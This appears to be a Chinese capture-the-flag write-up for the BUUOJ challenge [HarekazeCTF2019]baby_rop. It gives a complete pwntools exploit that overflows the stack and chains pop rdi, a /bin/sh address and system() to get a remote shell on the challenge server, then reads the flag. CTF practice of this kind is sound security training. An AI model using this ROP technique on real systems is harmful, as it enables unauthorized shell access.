栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

CTF buuoj pwn-----[HarekazeCTF2019]baby

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

CTF buuoj pwn-----[HarekazeCTF2019]baby

[HarekazeCTF2019]baby_rop
  • 1. 分析
  • 2. 编写exp
  • 3. 运行exp,获取flag

1. 分析

shift+f12 ,有system 有bin/sh ,64位,直接调用system就行
果真babyrop

2. 编写exp
from pwn import *

sh = remote('node4.buuoj.cn', 26517)  

bin_sh_addr = 0x601048
system_addr = 0x400490
pop_rdi_addr = 0x400683

payload = b'a'*0x10 + b'a'*8 + p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
sh.sendline(payload)
sh.interactive()

3. 运行exp,获取flag

flag 不在根目录下,find 查找到z在./home/babyrop/flag

bing@bing-virtual-machine:~$ python3 ./[HarekazeCTF2019]baby_rop.py
[+] Opening connection to node4.buuoj.cn on port 26517: Done
[*] Switching to interactive mode
What's your name?
$ find -name flag
./home/babyrop/flag
find: './proc/tty/driver': Permission denied
find: './proc/1/task/1/fd': Permission denied
find: './proc/1/task/1/fdinfo': Permission denied
find: './proc/1/task/1/ns': Permission denied
find: './proc/1/fd': Permission denied
find: './proc/1/map_files': Permission denied
find: './proc/1/fdinfo': Permission denied
find: './proc/1/ns': Permission denied
find: './proc/7/task/7/fd': Permission denied
find: './proc/7/task/7/fdinfo': Permission denied
find: './proc/7/task/7/ns': Permission denied
find: './proc/7/fd': Permission denied
find: './proc/7/map_files': Permission denied
find: './proc/7/fdinfo': Permission denied
find: './proc/7/ns': Permission denied
find: './root': Permission denied

$ cat ./home/babyrop/flag
flag{60b6bc83-bfa5-463a-9bd4-05b9261703d9}

flag{60b6bc83-bfa5-463a-9bd4-05b9261703d9}

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/322029.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号